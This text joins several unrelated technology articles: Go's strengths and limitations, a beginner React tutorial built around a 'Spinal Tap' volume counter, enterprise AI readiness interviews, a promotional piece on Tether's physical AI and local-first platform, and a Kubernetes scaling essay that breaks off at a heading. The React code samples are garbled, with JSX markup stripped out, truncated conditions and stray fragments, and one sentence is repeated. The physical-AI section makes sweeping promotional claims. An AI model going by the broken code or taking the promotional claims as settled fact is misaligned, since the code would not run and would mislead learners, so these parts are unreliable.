No language is suited to every job, but some languages are suited to more jobs than others. Go shines brightest in cloud-native development projects, distributed network services, and for developing utilities and stand-alone tools. Let’s consider the qualities that make Go especially well-suited to each of these project types.

Cloud-native development

Go’s concurrency and networking features, and its high degree of portability, make it well-suited for building cloud-native apps. In fact, Go was used to build several cornerstones of cloud-native computing including Docker, Kubernetes, and Istio.

Distributed network services

Network applications live and die by concurrency, and Go’s native concurrency features—goroutines and channels, mainly—are well suited for such work. Consequently, many Go projects are for networking, distributed functions, and cloud services. These include APIs, web servers, Kubernetes-ready frameworks for microservices, and much more.

Utilities and standalone tools

Go programs compile to binaries with minimal external dependencies. That makes them ideally suited to creating utilities and other tools, because they launch quickly and can be readily packaged up for redistribution. One example is an access server called Teleport, which can be deployed on servers quickly by compiling it from source or downloading a prebuilt binary.

Limitations of the Go language

Now let’s consider some of the limitations of Go. For one, it omits many language features developers may desire. It also packs everything into its binaries, so Go programs can be large. Furthermore, Go’s garbage collection mechanism delivers automatic memory management at the cost of absolute performance. The language also lacks a standard toolkit for building GUIs, and it is unsuited to systems programming.

Let’s look at each of these issues in detail.

Go omits many desirable language features

Go’s opinionated set of features draws both praise and criticism. Go is designed to err on the side of being small and easy to understand, with certain features deliberately omitted. The result is that some features that are commonplace in other languages simply aren’t available in Go. This is purposeful, but it’s still a drawback for some types of projects.

One thing Go omits that you will find in other languages is macros, commonly defined as the ability to generate program code at compile time. C, C++, and (the rising star) Rust all have macro systems. Go does not have macros, or at least not of the same variety as those languages. What Go does have is a tool command, go generate, which looks for magic comments in Go source and executes them. This can be used to generate Go source code, or even run other commands, but its main use is to programmatically generate code, usually as a precursor to the build process. (Technical blogger Eli Bendersky explains the ‘go generate’ command in detail.)

Another longstanding complaint with Go was, until recently, the lack of generic functions, which allow a function to accept many different types of variables. Go’s development team held out against adding generics to the language for many years because they wanted a syntax and set of behaviors that complemented the rest of Go. But as of Go 1.18, released in early 2022, the language includes a syntax for generics. Because go generate and its code-generation abilities emerged as one possible way to partially address the lack of generics, this functionality is no longer as commonly used in Go.

The fact is that Go adds major language features rarely, and only after much consideration. This works to preserve broad compatibility across versions, but it comes at the cost of slower innovation.

Also see: What you need to know about Go, Rust, and Zig.

Go’s binaries are large

Another potential downside to Go is the size of the generated binaries. Go binaries are statically compiled by default, meaning that everything needed at runtime is included in the binary image. This approach simplifies the build and deployment process, but at the cost of a simple “Hello, world!” weighing in at around 1.5MB on 64-bit Windows. The Go team has been working to reduce the size of those binaries with each successive release. It is also possible to shrink Go binaries with compression or by removing Go’s debug information. This last option may work better for standalone distributed apps than for cloud or network services, where having debug information is useful if a service fails in place.

Go’s garbage collection is resource hungry

Yet another touted feature of Go, automatic memory management, can be seen as a drawback, as garbage collection requires a certain amount of processing overhead. By design, Go doesn’t provide manual memory management, and garbage collection in Go has been criticized for not dealing well with the kinds of memory loads that appear in enterprise applications.

That said, each new version of Go seems to improve the memory management features. For example, Go 1.8 brought significantly shorter lag times for garbage collection, and Go 1.25 introduced a new, experimental garbage collector. While Go developers can use manual memory allocation in a C extension, or by way of a third-party manual memory management library, most prefer native solutions.

Go doesn’t have a standard GUI toolkit

Most Go applications are command-line tools or network services. That said, various projects are working to bring rich GUIs for Go applications. There are bindings for the GTK and GTK3 frameworks. Another project is intended to provide platform-native UIs across platforms, although it focuses on Go 1.24 forward only. But no clear winner or safe long-term bet has emerged in this space. Also, because Go is platform-independent by design, it is unlikely any project in this vein will become a part of the standard package set.

You shouldn’t use Go for systems programming

Finally, although Go can talk to native system functions, it was not designed for developing low-level system components such as kernels, device drivers, or embedded systems. After all, the Go runtime and the garbage collector for Go applications are dependent on the underlying operating system. (Developers interested in a cutting-edge language for that kind of work might look into using Rust.)

The future of the Go language

Go’s development is turning more toward the wants and needs of its developer base, with Go’s minders changing the language to better accommodate this audience rather than leading by stubborn example. A case in point is generics, which were finally added to the language after much deliberation about the best way to do so.

The 2024 Go Developer Survey found developers were overall satisfied with Go. Challenges that surfaced were generally due to the verbosity of error handling, missing or immature frameworks, and using Go’s type system—areas ripe for future development.

Like most languages, Go has gravitated to a core set of use cases over time, finding its niche in network services. In the future, Go is likely to continue expanding its hold there. Other use cases cited in the developer survey include creating APIs or RPC services (74% of respondents), followed by CLI applications (63%), web services (45%), libraries/frameworks (44%), automation (39%), and data processing (37%). While only 4% of respondents mentioned using Go to develop AI technologies, those who did reported that Go was a strong platform for running AI-powered workloads in production. For those wanting to develop ML/AI with Go, lack of tooling (23%) and the fact that Python is the default choice for such work (16%) topped the reasons why.

It remains to be seen how far Go’s speed and development simplicity will take it into other use cases, especially those dominated by other languages and their existing use cases. Rust covers safe and fast systems programming (a space Go is unlikely to enter); Python is still a common default for ML/AI, prototyping, automation, and glue code; and Java remains a stalwart for enterprise applications.

But Go’s future as a major programming language is already assured—certainly in the cloud, where the speed and simplicity of Go ease the development of scalable infrastructure that can be maintained over the long run.

Also see: Go language evolving for future hardware, AI workloads.

Despite many worthy contenders, React remains the most popular front-end framework, and a key player in the JavaScript development landscape. React is the quintessential reactive engine, continually innovating alongside the rest of the industry. A flagship open source project at Facebook, React is now part of Meta Open Source. For developers new to JavaScript and web development, this tutorial will get you started with this vital technology.

React is not only a front-end framework, but is a component in full-stack frameworks like Next.js. Newer additions like React server-side rendering (SSR) and React server components (RSC) further blur the line between server and client.

Also see: Is the React compiler ready for primetime?

Why React?

React’s prominence makes it an obvious choice for developers just starting out with web development. It is often chosen for its ability to offer a smooth and encompassing developer experience (DX), which distinguishes it from frameworks like Vue, Angular, and Svelte. It could be said that React’s true “killer feature” is the perks that come with longstanding popularity: learning resources, community support, libraries, and developers are all plentiful in the React ecosystem.

Installing React

Real-world React requires running on the server with a build tool, which we will explore in the next section. But to get your feet wet, we can start out with an online playground. There are several high-quality playgrounds for React, including full-blown environments like StackBlitz or Codesandbox. For a quick taste, we will use PlayCode React.

When you first open it, PlayCode React gives you a basic layout like the one shown here:

Matthew Tyson

The menu on the left is the file explorer, at the top is the code window, and at the bottom are the console (on the left) and the preview pane (on the right).

From this screenshot, you can see how the content of the code is displayed on the preview pane, but this basic layout doesn’t use any variables (or “state,” as it’s known in React). It does let you see some of the plumbing, like the React library import and the exported App function.

Modern React is functional. The App function has a return value that is the actual output for the component. The component’s return is specified by JSX, a templating language that lets you use HTML along with variables and JavaScript expressions. Right now, the app just has some simple markup.

The classic example you see next is a “Counter” that lets you increase and decrease a displayed value using buttons. We’ll do a slight “Spinal Tap” variation of this, where the counter only goes to 11 and displays a message:

Matthew Tyson

You can take a look at the running example here, and the full code for the example is below:

import React, { useState } from 'react';

export function App() {
  // 1. The State
  const [volume, setVolume] = useState(0);

  return (
    

      
Spinal Tap Amp 🎸
     
      {/* 2. The "View" (Displaying the state) */}
      

        {volume}
      

      

        {/* 3. The Actions */
         setVolume(volume - 1)}>Down
       
         {
          if (volume 
          Up
        
      

      {/* 4. Conditional */}
      {volume === 11 &&
        
"Why don't you just make ten louder?"
      }
    
  );
}

If you play with the example, you’ll see that moving the buttons changes the value, and the display automatically reflects the change. This is the essential magic of a reactive engine like React. The state is a managed variable that React automatically updates and displays. State is declared like so:

const [volume, setVolume] = useState(0);

The syntax is a bit funky if you are coming from straight JavaScript, but most developers can adapt to it quickly. Basically, useState(0) says, with a default value 0, give me a variable, volume, and a function to set it, setVolume.

To display the value in the view, we use: {volume}.

To modify the value, we use button event handlers. For example, to increment, we’d do:

To modify the value, we use buttons event handlers.  For example, to increment:

onClick={() => setVolume(volume + 1)

Here we’ve directly modified the volume state, and React will update accordingly. If we wanted to, we could call a function (for example, if the logic were more involved).

Finally, when the value reaches 11, we display a message. This syntax is idiomatic React, and uses an embedded JavaScript equality check:

{volume === 11 &&
  
"Why don't you just make ten louder?"
}

The check says, if volume is 11, then display the

Using a build tool with React

Once upon a time, when NVIDIA was nothing but a graphics card, it was quite a bit of work assembling a good build chain for React. These days, the process is much simpler, and the once ubiquitous create-react-app option is no more. Vite is now the standard choice for launching a new app from the React terminal, so that’s the approach you’ll learn here.

With that said, there are a few alternatives worth mentioning. VS Code has extensions that will provide you with templates or scaffolding, but what’s becoming more common is using an AI coding assistant. A tool like Copilot, ChatGPT, or Gemini can take a prompt describing the basics of the application in question, including the instruction to use React, and produce a basic React layout for you. AI assistants are available in both command-line and VS Code extension flavors. Or, for an even more forward-looking option, you could use something like Firebase Studio.

But enough about alternatives—Vite is the standard for a reason. It is repeatable, capable, and fast. To launch a new Vite app, you just enter the following in your command line:

$ npm create vite@latest

The interactive tool will walk you through the process, starting with selecting React as your technology:

Matthew Tyson

Use your own preferences for the other options (like using TypeScript versus JavaScript) and accept the option to install and launch the app immediately. Afterward, you’ll see a simple demo like this one:

Matthew Tyson

The demo app has a counter component like the one we built earlier. If you Ctrl-c (or Cmd-c) to kill the Vite process running in the terminal, you can cd into the new directory. From there, you can see where the counter component is defined, in src/App.jsx (or App.tsx if you have selected TypeScript like I have).

It’s worth looking at that file to see how React appears on the server:

src/App.tsx
import { useState } from 'react'
import reactLogo from './assets/react.svg'
import viteLogo from '/vite.svg'
import './App.css'

function App() {
  const [count, setCount] = useState(0)

  return (
    
      

        
          
        
        
          
        
      
      
Vite + React
      

         setCount((count) => count + 1)}>
          count is {count}
        
        

          Edit src/App.tsx and save to test HMR
        
      
      

        Click on the Vite and React logos to learn more
      
    >
  )
}

export default App</code>

Notice we export the App as a module, which is used by the src/main.tsx file to display the component in the view. That file creates the bridge between the respective worlds of React and HTML:

import { StrictMode } from 'react'
import { createRoot } from 'react-dom/client'
import './index.css'
import App from './App.tsx'

createRoot(document.getElementById('root')!).render(
  
    
  ,
)

Don’t worry too much about the details of how React bootstraps itself with createRoot and the render call (which you won’t have to interact with on a regular basis). The important thing is how the App component is imported and then used with the JSX.

Note

Strict mode adds warning during dev mode to help you catch component bugs early.

There are a few rules to bear in mind when using JSX, the templating language of React:

• HTML elements are lowercase (
  , ), but components are uppercase (, ).
• You can’t just type “class” in JSX; instead, use className; e.g.,
  .
• To access the realm of JavaScript (and the application state) from within JSX, use curly braces: {2 + 2 != 5}.

React components and props

The main organizational concept in React is the component. Components are used to contain the functionality for a part of the view within a self-contained package. We’ve seen a component in action already with but it might be a little obscure, so let’s add another simple component to enhance the demonstration. This component also lets us explore another key part of React: Props.

To start, let’s create a display of the counter value influenced by the Rob Reiner movie This Is Spinal Tap. To start, we create a new file at src/VolumeDisplay.jsx:

// src/VolumeDisplay.jsx

export function VolumeDisplay({ level }) {
  return (
    

      {/* The Dial */}
      
= 11 ? '#d32f2f' : '#f0f0f0',
        color: level >= 11 ? 'white' : 'black',
        transition: 'all 0.2s ease'
      }}>
        {level}
      

      {/* The Message */}
      {level >= 11 && (
        

          "These go to eleven." 🤘
        
      )}
    
  );
}

This is a simple display but there are a couple of things worth noting about it.

One is that we accept a prop (a property) “from above” with VolumeDisplay({ level }). This tells whatever parent component uses this one that VolumeDisplay accepts a single property, called level. VolumeDisplay uses the property by displaying it (though it adds a bit of fancying up using conditional logic like we have already seen).

The way we define the CSS values, inside the double braces, {{ }}, and as a map of value is idiomatic React. (It isn’t essential at this point to grasp why it works that way, but basically, it is the JSX token { } with a JavaScript map of CSS values using JavaScript-friendly camel-cased names, like justifyContent.)

Now, to utilize this component, we can go to App.jsx, and make two changes:

import { useState } from 'react'
import reactLogo from './assets/react.svg'
import viteLogo from '/vite.svg'
import './App.css'
// 1. Import our new component
import { VolumeDisplay } from './VolumeDisplay'

function App() {
  const [count, setCount] = useState(0)

  return (
    
      

        
          
        
        
          
        
      
      
Vite + React
      

         setCount((count) => count + 1)}>
          count is {count}
        
        {/* 2. Pass the 'count' state into the 'level' prop */}
      
        

          Edit src/App.tsx and save to test HMR
        
      
      

        Click on the Vite and React logos to learn more
      
    >
  )
}

export default App</code>

Here, we’ve done two things: imported the new component and used it in the view.

Notice, also, that the line passes the existing count state variable into VolumeDisplay as a prop. React will do the work of ensuring that whenever count changes, the VolumeDisplay will also be updated, including any dependent logic such as the conditional statements.

Now, if we run the code like so:

$ npm run dev

We get what you see in the screenshot below:



Matthew Tyson

Conclusion

The world is now your oyster, at least within the realm of JavaScript web development. Not only is React wildly popular, its basic ideas are applicable to a host of other innovative frameworks, including Svelte and Solid. (To get some idea of the alternatives, just type npm create vite@latest and look at all the available technologies.) Now that you have a basic introduction, a good next step for learning would be to add an control that allows typing in the volume manually. Happy coding!

Almost every company has a board or executive AI mandate. Vendors are rolling out agentic AI platforms. The pressure to move is intense.

But the reality on the ground looks different. Eighty-three percent of organizations say data quality is their top AI challenge, and 74% struggle to demonstrate ROI, according to Lopez Research. And only 21% report having a mature governance model for AI agents, per Deloitte’s 2026 State of Enterprise AI report.

“Agentic AI is real, and vendors’ offerings are very real, too,” says Boris Evelson, vice president and principal analyst at Forrester. “However, most enterprises are still not ready to adopt at scale.”

Dave Hilborn, who leads West Monroe’s Organization, People & Change practice, frames it as a race with three arrows moving forward — one representing AI and tech evolution, one representing organizations and people, and one representing data. “The AI arrow is far out ahead,” he says. “That delta is the readiness gap.”

The gap isn’t the technology. It’s the foundational work most organizations haven’t done: data readiness, operating models, governance, skills, and culture. The companies making progress aren’t waiting for vendors to solve these problems. They’re tackling the unglamorous work themselves.

AI doesn’t tolerate ambiguity

AI readiness can be framed across six levels — from data foundation at the base to reinvented business experiences at the top, says Afshean Talasaz, former CIO at Colonial Pipeline and now an executive advisor. One of the key areas that doesn’t always get the attention it needs is the operating model.

“The technology playbooks of the past don’t work in the AI world,” Talasaz says. “Those areas were able to tolerate more ambiguity between business and tech teams. AI doesn’t tolerate the same level of ambiguity. It needs clarity.”

That demands a different kind of partnership between IT and the business. AI systems learn from data — records and measurements of what’s actually happening in the business — and then operate within business processes. Unlike traditional software, which is built based on user requirements, AI is sandwiched between the business that produces the data and the business that consumes the outputs.

“AI is requiring IT and business teams to work more closely together, to be clearer about what AI will and will not do — that really close partnership is crucial,” Talasaz says. “It’s not something that will always naturally evolve. It requires a lot of intentionality about how teams need to work together to deliver outcomes.”

The AI questions CIOs must answer aren’t just technical. Do we have the right operating model? Have we balanced governance and standard operating procedures within the model? Have we organized teams appropriately? All this must be designed within the context of what the business actually needs.

Too many organizations are bolting AI onto existing processes without redefining roles or workflows, Forrester’s Evelson. “Organizations can either incrementally enhance existing workflows by augmenting capabilities with AI or pursue a more transformative approach by redesigning the process end-to-end.”

The companies getting value are doing the latter.

Data debt comes due

Data readiness remains the most common barrier to scaling AI. “We’ve never fixed this data quality problem in most organizations,” says Maribel Lopez, founder and principal analyst at Lopez Research, “and it comes back to haunt a company in spades as they move to AI.”

At Levi Strauss, the foundational work came first. “If you think about the Levi’s business, it’s quite complex — 100 countries, over 3,000 stores, multiple business models,” says Jason Gowans, the company’s chief digital and technology officer. “You can imagine the complexity of gathering all that data to understand how the business is performing. The idea of this single source of truth — that’s been the biggest thing.”

Levi’s now has more than 1,100 standard operating procedures that govern how work gets done on top of SAP. “That’s fertile material to feed to LLMs on how work gets done,” Gowans says.The results are tangible: partner onboarding that once took three to six months to set up EDI exchanges now takes days.

At contract manufacturing company Jabil, Chase Christensen, segment CIO, took a similar path. “We had to get everyone to understand where the source data resides, put tech in place so consumption is easier, and drive ownership around data and decision rights — so 140,000 employees don’t feel empowered to create their own data sources that fall out of line.”

The data challenge goes beyond quality, Evelson notes. Most organizations’ data isn’t AI-ready; it hasn’t been prepared for how AI systems consume and learn from information. “Data is siloed, poorly governed, and hard to discover, integrate, and trust,” he says.

Forrester research shows that 45% of data and analytics decision-makers were adopting vector databases in 2025, and 53% were adopting graph databases — investments that signal recognition of how much data architecture needs to evolve. The firm recommends a balanced approach: roughly 48% of AI spending on foundations such as data management and engineering, and 52% on consumption, including analytics, governance, and applications.

But even as organizations work to prepare existing data, AI is creating new challenges. Users leveraging AI tools are generating new forms of data and information that never make it into corporate databases, West Monroe’s Hilborn notes.

“There are explosions of new data, content, and insights being created on the periphery of these data lakes,” he says. “The challenge is how do you capture that and leverage it.”

Who’s sponsoring this?

Even when data is in order, many AI initiatives stall due to how they’re sponsored and funded.

“Enterprise data, analytics, and AI programs succeed when business CxOs sponsor them because they are accountable for business outcomes, not just technology delivery,” Forrester’s Evelson says. “IT-led initiatives often become siloed or tool-centric, whereas business sponsorship ensures alignment to enterprise strategy, prioritization of end-to-end use cases, and a focus on decisions and actions rather than insights alone.”

Too often, AI is still treated as a series of disconnected use cases rather than a sustained, multi-year investment. Evelson calls this the “use case trap” — organizations overindex on individual projects and miss the enterprise-wide compounding impact. That leads to fragmented priorities, inconsistent adoption, and difficulty demonstrating ROI.

Leadership readiness is a distinct layer of AI preparedness, Talasaz says. “Are leaders prepared to provide a vision of reinvented business experiences that become the north star?” he asks. “Leadership teams, at various levels of the organization, need to articulate what a reinvented business looks like so teams have the direction and support to build differentiating capabilities.”

Levi’s offers a counterexample. AI is a CEO priority there. At the last quarterly offsite, the execs were building agents. “When you’re committed to upskilling the workforce, you’re better served to answer how to rewire processes with AI at the core,” Gowans says. “It starts at the top. It has to be an exec priority.”

Fear, literacy, and two types of AI

Technical talent is only part of the equation. Organizations also need to address change management.

“We saw it with the AI boom — fear about jobs, not knowing what AI did,” says Jabil’s Christensen. “The key is demystifying AI. We doubled down and focused on AI literacy. We want everyone to understand how it was put together, and that removed a lot of that fear. That’s been the biggest hurdle.”

Different types of AI require different skills and governance, Talasaz says. “General use focuses on productivity on the desktop,” he says. “Integrated AI — industrial-capable AI embedded within core business processes — requires different skills, capabilities, and governance.”

For desktop AI, training and guardrails help employees be successful — what Talasaz calls “bumpers,” like in bowling. Organizations need to help employees through reskilling and guidance. “You have tools in a toolbox,” he says. “It’s important to know when to use a power tool versus when you need a screwdriver.”

But for integrated AI embedded in core processes, the stakes are higher. “Business leaders responsible for business outcomes based on AI-driven processes need to be fully aware of both the benefits and risks that come along with using these tools,” Talasaz says.

That distinction matters for governance, too. Lower-, medium-, and high-risk AI use cases may require different ways of working and different risk management approaches. “Deploying AI in potentially high-risk or high-cost areas of the business requires a higher level of rigor,” Talasaz says. “That’s different than building something that helps write my emails.”

From POC to production

Perhaps the biggest readiness gap is the transition from proof of concept to production. “It requires such a different approach,” Talasaz says. “A successful proof of concept can create a lot of excitement, but when teams are unprepared to build and scale, it can create the potential to over-promise and under-deliver.”

The operating model that works for experimentation doesn’t work for production at scale. Proofs of concept are designed to demonstrate the efficacy of ideas and the underlying technology. But building, scaling, and sustaining technology in the business requires operating models, standards, roles, and skills that many organizations haven’t developed. Intentionally designed operating models reduce the cost of learning, improve execution, and increase delivery velocity, says Talasaz.

But there’s no one-size-fits-all answer. “A business that needs to build capabilities in a marketplace moving very fast requires one kind of operating model,” Talasaz says. “A business that can take longer to develop business capabilities and adapt to market changes can choose a different operating model. It’s important to design ways of working tailored to what the business needs and the speed at which the business needs to leverage technology to be successful.”

Jabil is navigating this journey as part of its move to SAP’s cloud ERP through RISE, scaling from $29 billion to $34 billion in revenue while keeping selling, general, and administrative (SG&A) expenses relatively flat — in part by layering generative AI onto predictive analytics capabilities built over years.

“We started years ago with computer vision to drive product quality,” Christensen says. “As gen AI blew up, we took the predictive analytics we had built over the years and imbued them with gen AI. We’ve implemented the basics, and now we’re looking for complex scenarios.”

Governance built in, not bolted on

Governance is often treated as a policy document or committee. It should be embedded in the operating model itself, Talasaz argues.

“The operating model doesn’t always get the attention it needs,” he says. “Policies and committees are useful, but they should handle larger enterprise risks. Most of the governance should be embedded in the operating model to ensure you’re getting outcomes you want.”

That might mean peer review built into the development process, bias checks before deployment, or clear escalation paths for high-risk use cases. When governance is separate from the operating model, it tends to slow things down. When it’s integrated, it becomes how work naturally gets done, says Talasaz.

Governance at the agent level matters, too, Levi’s Gowans says. “Know what agents have been deployed, who authored them, and who’s responsible,” he says, noting that the company has established a registry to understand what agents it has operating within its networks.

The challenges of AI governance are unique, Lopez of Lopez Research says. “Very few people have the governance stack required to say they did the right things with AI,” she says. “Non-human identity and access control is totally different and, frankly, evolving so quickly that no one knows what to do.”

The challenge is ultimately a trade-off, Forrester’s Evelson says. “Push agentic AI capabilities too far, and you risk creating a governance and compliance nightmare,” he says. “Tighten controls too aggressively, and you stifle innovation. Best practices for striking the right balance are still being discovered.”

It takes a team

The AI readiness gap isn’t about technology — it’s about the work organizations have been deferring for years. Data quality. Operating models. Executive sponsorship. Skills and culture. Governance embedded in process.

“Once you progress from everyone using Copilot to putting agents in production, then you realize the need for business context,” Gowans of Levi Strauss says.

It’s a shared journey requiring all teams to understand what’s required, Talasaz says. “It involves helping people understand what it takes from all sides — the technology itself, the operating model, the skills and talents needed — but also working with business leaders on the art of the possible,” he says. “Helping them understand both the benefits and the responsibility of deploying this tech.”

A colleague of his calls AI “the ultimate executive team sport.”

“It requires people to do it well and manage it,” Talasaz says.

Historically, humans have solved their toughest tasks by creating tools capable of withstanding greater strain to undertake the job or augment their abilities. From levers to steam engines and beyond, the structural evolution of machines is almost as remarkable as their ability to improve operational cultures.

In recent times, we have seen machines attain their highest structural complexity, productivity, and best aesthetics yet. The most relevant new technologies today focus on creating high-throughput physical machines and software that ‘thinks’, and, more futuristically, a fusion of both.

From moving machines to intelligent humanoids

Evolving from ‘moving machines’ capable of handling repetitive tasks to intelligent machines is a century-long goal for robotics. The rapid growth in this sector over the past half-decade, with a $218 billion projection for 2031, is driven by expectations that advancements in AI will extend to robotics and expedite the development of intelligent robots.

Current prototypes are robots capable of taking initiatives or executing tasks more efficiently with less supervision. These have been applied in agriculture, industrial-grade production, and healthcare.

Humanoid robots have attracted the most attention due to the excitement around their potential as near-human machines and the signals their development sends for the future of human-machine coexistence.

Tech leaders around the world are contributing to advancing physical AI with optimism about the impact of robotics on humanity.

Physical AI is a department of artificial intelligence specializing in developing AI algorithms and models for locomotive systems. This includes every kind of robot and, at a more advanced level, humans.

Recent developments in this field include Figure AI’s humanoid robot deployments and Tether’s investment in the NEURA, leading the fundraising of up to $1.4 billion in one of the largest robotics and physical AI investment rounds on record.

Physical AI researchers are exploring future-proof strategies to develop intelligent, safe humanoid robots that can collaborate with humans, undertake humanly impossible tasks, and handle routine tasks more efficiently.

The strongest case for AI-powered humanoid robots is that they complement human power. A World Economic Forum (WEF) report projects shifts in work roles. Humanoid robots increase the workforce, take over repetitive, strenuous, and boring roles, allowing humans to pursue more interesting career paths.

This way, superintelligent humanoid robots will lead sector-wide transformations beyond current imagination and uniquely transform the world.

In theory, it creates the ideal conditions for an improved global economy and a higher quality of life. This theory is challenged by the dystopian vision of a machine-dominated world in which humans become less relevant. However, history suggests otherwise. Every major wave of automation, from the industrial revolution to the rise of computers, initially sparked fears of human redundancy. Yet each ultimately created more opportunities than it eliminated.

Super-human advancements with physical AI

In ideal operations, physical AI will serve as a lever for humans as well. While progress in robotics is loudest, efforts to directly augment human abilities with physical AI are also yielding remarkable results. Brain-computer interfaces can now accurately decode speech in paralyzed and speech-impaired individuals through intracortical implants that detect brain activity. And this is only a ‘start’. Projections from leaders in this space give insight into the trajectory of this technology.

In a recent fireside chat with NEURA Robotics CEO and founder David Reger, Tether CEO Paolo Ardoino noted, “the evolution of robotics that Neura is making is going to allow testing and building of a framework[…] where the real impact is in the real world. Everything starts digital, but to see the true potential, we will see robots roaming the streets, helping people, and being part of society. It has to happen safely, it has to be transparent.”

Physical AI products designed for direct human integration are being developed differently, with a focus on ergonomics, a minimalist aesthetic, and performance. EVO, Tether’s arm leading the charge for human advancement through intelligent technologies, also shared plans for non-invasive implants that maintain high productivity and offer greater composability.

Technologies like these will allow humans to leverage high-level physical AI technologies to attain the same technical abilities as humanoid robots and outperform them by combining machine and raw human intelligence.

AI robotics in non-user-controlled infrastructures

Resource efficiency, data sovereignty, and surveillance are some of the biggest ethical considerations of Physical AI after safety and responsibility. The infrastructure line-up for Software and Physical AI relies heavily on managed systems, blurring the lines of control and governance.

Who is really in charge? The end user, developer, or proprietors of the centralized infrastructure that powers the product? The result is a product with multiple points of failure, disruptions, and most importantly, operational risks.

Physical AI solutions will be used by billions of people worldwide; they should therefore not be built on limited, slow, and centralized infrastructures. This necessitates localized or truly decentralized AI solutions. Local-first AI solutions like Tether’s QVAC also prioritize resource efficiency, since users are expected to provide the core infrastructure. QVAC is a modular, highly efficient, local-first AI platform that runs anywhere. Tether regards it as the invisible intelligence engine of the 21st century.

Open-sourcing and aligning intelligent robots for co-existence with humans

Yann LeCun, Chief AI scientist at Meta, notes that open-sourcing AI development is the answer to the most pressing ethical challenges of AI applications. According to LeCun:

“The magic of open research is that you accelerate progress by involving more people[…] the biggest danger of AI isn’t ‘bad behavior’ […] It’s that every digital interaction in our future will be mediated by AI. In that world, diverse open-source systems let users choose their own biases.”

Open-sourced (systemic decentralization) and local-first (Infrastructural decentralization) solutions are the only path to developing ethically aligned Physical AI capable of co-existing with humans as intended. A successful physical AI solution is expected to tick the check boxes of safety, resource efficiency, true user control, and tamper-proofness. To do this, it must embrace transparent development procedures and function without gatekeepers.

Learn how Tether EVO is building resilient technology built on fairness, inclusivity, and systems with zero points of failure.

The first time I used Kubernetes in an enterprise setting, I understood the hype. It gives every team the same way to package, deploy and run their apps. No more custom scripts or unique deployment hacks, just one control plane to rule them all. And really, that’s why it’s so popular with big companies: Kubernetes is an open-source system for automating deployment, scaling and management of containerized applications. It says so right on the box, and that’s what people want. But here’s the truth: Kubernetes doesn’t erase operational headaches. It just moves them around.

When your Kubernetes install is small, it feels like rocket fuel for engineers. At enterprise scale, though, suddenly it’s about governance, not just engineering. The game is no longer “Can we get this container running?” It’s “How do hundreds of engineers roll out their stuff safely, consistently, securely and without breaking the bank or burning out the platform team?”

This is where the fun really starts.

YAML isn’t the enemy

Folks new to Kubernetes obsesses over manifests, Helm charts, namespaces, ingress rules, deployments, all that stuff. But they’re not the hardest part once you start scaling. The real beast is standardization.

Every big company I’ve seen ends up with teams going their own way. One group writes beautiful deployment templates. Someone else copies and pastes from a two-year-old manifest. Some folks set resource requirements properly. Others skip them entirely. One team sticks to a strong naming convention, and someone else throws together random namespaces and service accounts that make sense only to them. Individually, this more or less works. At scale, when the whole platform has to operate like one system, it’s a mess.

That’s why I’ll say it: you don’t just need a Kubernetes cluster. You need a paved road. This would involve ensuring that there are approved templates, good deployment patterns, observability, security controls as defaults, good issue escalation processes and accountability.

There is no need for developers to be Kubernetes experts just to release their services. The best enterprise Kubernetes setups work like real products. They let application teams self-serve but never let anyone veer off road without good reason.

RBAC: necessary, but never enough

Security is paramount. Kubernetes supports role-based access control (RBAC), so on paper you can control who does what. In practice, in a big company, RBAC gets confusing fast.

The issue isn’t that engineers ignore security. It’s that permissions grow over time. You need a quick fix during an incident, so you give a service account more access. Maybe a team needs cluster-wide rights for a migration. That “just for now” permission sticks around because no one cleans it up. Month by month, the gap widens between what a workload should do and what it’s actually allowed to do. The only thing that works long-term: treat RBAC as a living thing, not a one-time checklist. Review it. Test it. Stick to least privilege. Service accounts get only what they need. Cluster-admin rights? Rare. Expiring exceptions. Set permissions as code so changes aren’t invisible.

Same story with workload security. Kubernetes brings you Pod Security Standards. There is baseline, restricted and privileged profiles, so everyone speaks the same language. But simply setting a standard isn’t enough. We’d also need things like admission controls, image scanning, runtime monitoring and audit trails.

Honestly, the NSA/CISA Kubernetes Hardening Guidance is still gold. Scan containers and pods. Run workloads as locked down as possible. Use strong authentication. Separate networks. Set up solid logging. These ideas sound obvious until you see what happens when your organization scales without good ops.

Network policies: where “it should work” meets reality

Kubernetes networking can trip up even the best teams. Engineers often think different namespaces mean automatic isolation between apps. Not true.

Kubernetes network policies decide which pods can talk to which, but the policies only matter if your networking plugin actually enforces them. I’ve seen a lot of teams write network controls that look great in YAML but don’t work, because the underlying network just ignores them. Security validation beats documentation every time. If two namespaces shouldn’t talk, test it. If a workload only needs access to a specific backend, check it. If only specific ingress is allowed, make sure nothing else gets through.

At scale, your Kubernetes security has to prove itself. “We have a policy” means nothing unless the platform can show the policy actually works.

Resource management becomes all about money

One of the biggest challenge is resource allocation. Kubernetes lets you set CPU and memory limits, and sure, there are official docs. But getting these numbers right is tough.

Set them too low, and your workload might get throttled or evicted under load. Set them too high, and you’re paying for unused infrastructure. That barely registers on a small cluster, but when you’re running thousands of pods? That’s cloud bills gone wild.

This is where Kubernetes ops and FinOps meet. Platform teams have to know who’s burning through which resources, what’s over-provisioned or flying blind, and where the real money goes. ResourceQuota helps keep things in check, but quotas alone don’t hold people accountable.

The culture shift is moving from “the cluster has spare capacity” to “every service has an owner, a cost profile and a plan for staying lean.” Teams should understand their infrastructure bill. Platform teams need dashboards that point out waste. Engineering leaders need to care about efficiency, not just hear from finance when things go off the rails.

Autoscaling isn’t a magic trick

The Horizontal Pod Autoscaler is handy. It adjusts your workloads automatically to match demand. But don’t overestimate it. Most real-world services don’t scale simply by CPU or memory. Sometimes a service hits latency limits before CPU usage spikes. Workers chewing through queues? You care more about backlog size. Machine learning? Maybe it’s all about GPU use or loading time. Customer-facing apps? You want to be scaled up before traffic hits, not scramble after users start complaining.

So autoscaling isn’t just a box you check. It’s a feedback loop, and it only works if you use the right signals. Sometimes CPU is enough. Sometimes you need to scale on queue length, request rate, latency or something totally custom.

Then there’s node autoscaling to provision infrastructure in response to demand. On paper, it just works. In real life, it runs into startup delays, availability zones, quotas, cloud provider quirks and pod disruption budgets. Scale pods faster than nodes? Users still see delays.

Test autoscaling like you test your app. Load-test it, break it, see what happens after an incident. Otherwise, you’ll find the limits when it hurts most.

Observability doesn’t matter unless it answers questions

